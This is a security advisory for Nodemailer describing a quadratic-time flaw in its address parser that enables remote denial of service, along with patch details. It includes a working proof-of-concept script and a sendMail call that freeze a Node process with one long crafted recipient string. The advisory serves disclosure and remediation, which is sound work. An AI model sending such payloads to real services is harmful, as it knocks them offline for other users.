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GHSA-2X7J-588G-CCC2

Vulnerability from github – Published: 2026-09-08 21:33 – Updated: 2026-09-08 21:33

Summary

Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list

Details

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

addresses n	input size	parse time	ratio for 2× input
25,000	0.19 MB	~0.35 s	–
50,000	0.38 MB	~1.4 s	×4.0
100,000	0.76 MB	~6–8 s	×3.9
200,000	1.53 MB	~25–30 s	×4.1

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

addressparser rebuilt its accumulator with concat() on every address (9116da9).
The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:33:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNodemailer\u0027s address parser (`lib/addressparser/index.js`) parses a list of comma\u2011separated addresses in **quadratic time \u2014 O(n\u00b2)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply\u2011To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node\u0027s single\u2011threaded event loop for the entire duration, denying service to every other request in the process.\n\nThis requires **no special application configuration and no cooperating receiver** \u2014 it is entirely inside the parser and triggers on the library\u0027s default code path. A ~1.5 MB address value freezes the process for ~25\u201330 seconds of 100% CPU; the cost grows with the square of the input, so a few\u2011MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE\u20112025\u201114874 (that path is guarded by a nesting\u2011depth cap; this one is a flat, comma\u2011separated list with no such limit).\n\n### Details\n\n`addressparser` tokenizes the input, splits it into per\u2011address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500\u2013505):\n\n```js\naddresses.forEach(addr =\u003e {\n    const handled = _handleAddress(addr, depth);\n    if (handled.length) {\n        parsedAddresses = parsedAddresses.concat(handled);   // \u003c-- line ~503\n    }\n});\n```\n\n`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + \u2026 + n elements in total, i.e. **O(n\u00b2)** work (and O(n\u00b2) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.\n\n**Root\u2011cause proof.** Replacing only that line with an in\u2011place append and re\u2011running the exact same input:\n\n```\nparsedAddresses = parsedAddresses.concat(handled);      -\u003e  100000 addresses:  ~6068 ms\nparsedAddresses.push.apply(parsedAddresses, handled);   -\u003e  100000 addresses:  ~51 ms   (\u2248119x faster, now linear)\n```\n\n**Measured scaling** (nodemailer 9.0.6, `\u0027a@b.com,\u0027.repeat(n)`):\n\n| addresses n | input size | parse time | ratio for 2\u00d7 input |\n|---|---|---|---|\n| 25,000  | 0.19 MB | ~0.35 s | \u2013 |\n| 50,000  | 0.38 MB | ~1.4 s  | \u00d74.0 |\n| 100,000 | 0.76 MB | ~6\u20138 s  | \u00d73.9 |\n| 200,000 | 1.53 MB | ~25\u201330 s| \u00d74.1 |\n\nDoubling the input quadruples the time \u2014 the signature of O(n\u00b2).\n\n**Reachability.** The parser is invoked on any structured\u2011address header value on the normal send path (`MimeNode.setHeader(\u0027To\u0027/\u0027Cc\u0027/\u0027Bcc\u0027/\u0027From\u0027/\u0027Reply-To\u0027, value)` \u2192 `_parseAddresses` \u2192 `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: \u003ccrafted string\u003e })` triggers it. It is also reached directly through the **exported** `require(\u0027nodemailer/lib/addressparser\u0027)`, which many applications call to validate or display user\u2011supplied recipient lists. Confirmed via the public API: `setHeader(\u0027To\u0027, \u0027a@b.com,\u0027.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.\n\n**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.\n\n### PoC\n\nEnvironment: Node.js \u2265 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required \u2014 the cost is in parsing.\n\n`poc-dos.js`:\n```js\n\u0027use strict\u0027;\nconst addressparser = require(\u0027nodemailer/lib/addressparser\u0027);\n\nconsole.log(\u0027addresses | input size | parse time\u0027);\nfor (const n of [25000, 50000, 100000, 200000]) {\n  const payload = \u0027a@b.com,\u0027.repeat(n);        // n valid, comma-separated recipients\n  const t0 = process.hrtime.bigint();\n  addressparser(payload);                       // blocks synchronously\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(String(n).padStart(9) + \u0027 | \u0027 + (payload.length / 1048576).toFixed(2) + \u0027 MB   | \u0027 + ms.toFixed(0).padStart(7) + \u0027 ms\u0027);\n}\n```\n\nRun:\n```\nnpm init -y \u0026\u0026 npm install nodemailer@9.0.6\nnode poc-dos.js\n```\n\nActual output (nodemailer 9.0.6):\n```\naddresses | input size | parse time\n    25000 | 0.19 MB   |     381 ms\n    50000 | 0.38 MB   |    1435 ms\n   100000 | 0.76 MB   |    7949 ms\n   200000 | 1.53 MB   |   25154 ms\n```\n\nEquivalent trigger through the normal send API (freezes the event loop):\n```js\nconst nodemailer = require(\u0027nodemailer\u0027);\nnodemailer.createTransport({ jsonTransport: true })\n  .sendMail({ from: \u0027a@b.com\u0027, to: \u0027a@b.com,\u0027.repeat(150000), subject: \u0027x\u0027, text: \u0027y\u0027 });\n// ~15+ seconds of 100% CPU inside addressparser before anything is sent\n```\n\n### Impact\n\n* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party \u2014 a recipient field in a \"send email / invite / share\" feature, a `Reply\u2011To`/`From` derived from user input, a contact\u2011import or mailing\u2011list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.\n\n## Patched in 9.1.0\n\nThree separate quadratic paths were fixed, not one:\n\n* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).\n* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `\u0027a, b \u003cc@d.com\u003e,\u0027.repeat(n)` (same commit).\n* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `\u0027a@b.com,\u0027.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.\n\nFixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).\n\nParsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.",
  "id": "GHSA-2x7j-588g-ccc2",
  "modified": "2026-09-08T21:33:17Z",
  "published": "2026-09-08T21:33:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/pull/1848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Quadratic (O(n\u00b2)) time complexity in addressparser allows remote denial of service via a crafted address list"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-2X7J-588G-CCC2

Summary

Details

PoC

Impact

Patched in 9.1.0

Tags

Sightings

Nomenclature